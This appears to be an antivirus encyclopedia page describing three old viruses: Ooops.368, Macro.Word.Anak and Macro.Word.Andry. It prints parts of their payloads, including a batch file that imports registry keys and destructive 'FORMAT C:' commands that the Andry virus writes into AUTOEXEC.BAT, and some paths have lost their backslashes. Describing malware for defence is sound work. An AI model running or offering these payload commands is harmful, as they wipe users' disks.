Virus Database

Ooops.368

Description Ooops.368

It is a dangerous nonmemory resident overwriting virus. It searches for .COM files of the current directory and overwrites them. It erases FAT of current drive and displays:
Ooops.. I've managed to erase your File Allocation Tablesall
Good thing I made a copy of them... now where did I put those damn things?

Check other viruses! Be aware! Use Antiviral Software

Macro.Word.Anak

Description Macro.Word.Anak

This is an encrypted macro virus. It contains four original macros that are copied to five ones while infecting documents and NORMAL.DOT:
Documents NORMAL.DOT
Macro1 anakAE AutoExec
Macro2 AutoOpen anakAO
anakAO
Macro3 anakSA FileSave
anakSA
Macro4 anakSMU anakSMU

The virus infects the global macros area on opening an infected document (AutoOpen) and writes itself to document on saving them (FileSave).
The virus defines new short cut key "Shift-Ctrl-F" and associates it with Tools/Customize menu. To hide its macros (stealth feature) the virus removes the File/Templates, Tools/Macros and Tools/Customize menus.
Starting from 25th of any month, starting from 14:00 the virus creates new template, inserts the text into there:
alli n t r o d u c i n g...
anakSMU
Semarang, March 1997

The virus then registers itself in the system. To do that it creates the ANAKSMU.BAT file, writes the commands to there and executes it:
@ECHO OFF
REM ---------------------------------------------------------
REM anakSMU wont destroy your REGEDIT, Just wanna be there :)
REM email: anakSMU@TheOffice.net"
REM ---------------------------------------------------------
ECHO REGEDIT4 > anakSMU.REG
ECHO [HKEY_CURRENT_USERSoftwareanakSMU] >> anakSMU.REG
ECHO [HKEY_CURRENT_USERSoftwareanakSMUanakSMU@TheOffice.net] >> anakSMU.REG
ECHO [HKEY_CURRENT_USERSoftwareanakSMU18.090 - Semarang] >> anakSMU.REG
START /MIN REGEDIT anakSMU.REG
EXIT

The virus then displays the MessageBox:
anakSMU
Yeah!, I wish I were anakSMU

Macro.Word.Andry

Description Macro.Word.Andry

This encrypted virus contains only one macro AutoOpen and infects the global macro area on opening an infected document and writes itself to other documents when they are being opened.
On March 1st it sets to documents the password "Andry Christian", prints the text to status bar:
* I'M ANDRY CHRISTIAN, IF YOU THOUGHT, YOUR DOCUMENTS
OR TEMPLATES WERE SAFE, YOU WERE WRONG ! *

It then displays the dialog:
HACKERS Labs '96 - Hackware Technology Research
ANDRY [CHRISTIAN] WORD MACRO VIRUS IS HERE !!!
DO YOU SUPPORT MY VIRUS ?
YES NO

In case of "NO" key the virus overwrites the C:AUTOEXEC.BAT file with commands:
@ECHO OFF
CLS
ECHO Please wait . . .
FORMAT C: /U /C /S /AUTOTEST > NUL

and the C:CONFIG.SYS file with commands:
DOS=HIGH,UMB
FILES=40
BUFFERS=40
DEVICE=C:DOSHIMEM.SYS
DEVICE=C:DOSEMM386.EXE RAM

On the same date (March 1st) depending on the system time the virus runs the disk formatting command:
COMMAND /C FORMAT C: /U /C /S /AUTOTEST > NUL

Depending on the system time the virus inserts into current document the text:
Helloall.
Andry Christian
WordMacro Virus
Is Here....!!!

The virus also contains the comments:
'======================================================================'
' Source Code of Andry Christian WordMacro Virus 0.99 - ßeta Release '
'======================================================================'
' Virographer by Andry [Christian] in [Batavia] City, of INDONESIA '
' Viroright (C) 1996-1999 Hackware Technology Research - HACKERS Labs. '
' Multi Platform, Multi Infector, Stealth, OneMacro, Encryption, etc '
' Last Update by 01-Maret-1996 & 01:03 PM - Found Bugs...? Call Me '
'======================================================================'
' HACKERS Labs. -> WE ARE A BIG FAMILY OF THE VIRUS CREATOR's TEAM '
'======================================================================'

Home